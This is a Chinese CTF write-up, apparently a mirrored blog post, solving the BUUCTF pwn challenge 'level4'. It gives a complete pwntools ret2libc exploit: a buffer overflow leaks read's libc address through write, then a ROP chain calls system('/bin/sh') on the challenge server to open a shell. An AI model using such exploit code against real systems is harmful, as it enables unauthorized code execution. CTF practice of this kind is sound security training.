zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——level4

    level4

    附件

    步骤:

    1. 例行检查,32位程序,开启了NX保护
      在这里插入图片描述
    2. 运行一下程序,看看大概的情况
      在这里插入图片描述
    3. 32位ida载入,首先检索程序里的字符串,根据上一步运行看到的字符串进行跳转
      在这里插入图片描述
    4. 输入点在function里
      在这里插入图片描述
      参数buf存在溢出漏洞,字符串里没有找到现成的后门可以利用,所以使用ret2libc的方法来获取shell

    利用过程:

    1. 泄露libc版本
      只能通过程序里已经调用过的函数才行,这里利用的read函数
    read_got=elf.got['read']
    write_plt=elf.plt['write']
    main_addr=elf.symbols['main']
    
    payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
    r.sendline(payload)
    
    read_addr=u32(r.recv(4))
    #read_addr = u32(r.recvuntil("xf7")[-4:])
    
    1. 计算libc基址,然后找到程序里system和bin/sh的地址
    libc = LibcSearcher("read", read_addr)
    libc_base = read_addr - libc.dump("read")
    system_addr = libc_base + libc.dump("system")
    binsh_addr = libc_base + libc.dump("str_bin_sh")
    
    1. 构造rop攻击,获取shell
    payload = "a" * 0x8c + p32(system_addr)
    payload += p32(main_addr)
    payload += p32(binsh_addr)
    r.sendline(payload)
    

    完整exp:

    from pwn import *
    from LibcSearcher import *
    
    r=remote("node3.buuoj.cn",25393)
    context(os = "linux", arch = "i386", log_level= "debug")
    elf=ELF('./level4')
    
    read_got=elf.got['read']
    write_plt=elf.plt['write']
    main_addr=elf.symbols['main']
    
    payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
    r.sendline(payload)
    
    read_addr=u32(r.recv(4))
    #read_addr = u32(r.recvuntil("xf7")[-4:])
    
    libc = LibcSearcher("read", read_addr)
    libc_base = read_addr - libc.dump("read")
    system_addr = libc_base + libc.dump("system")
    binsh_addr = libc_base + libc.dump("str_bin_sh")
    
    payload = "a" * 0x8c + p32(system_addr)
    payload += p32(main_addr)
    payload += p32(binsh_addr)
    r.sendline(payload)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    关于gtk的GCond
    位运算符及其应用
    登陆新浪微博&批量下载收藏内容[Python脚本实现]
    海量数据处理算法—Bloom Filter
    海量数据处理算法—BitMap
    VB.NET机房收费系统——组合查询
    非官方的gstreamer学习资料及概念摘要
    [Python入门及进阶笔记00]写在前面(目录/书籍/学习路线/其他)
    [JAVA][Eclipse]JVM terminated. Exit code=13
    介绍一个android开源文件选择对话框:androidfiledialog
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273679.html
Copyright © 2011-2022 走看看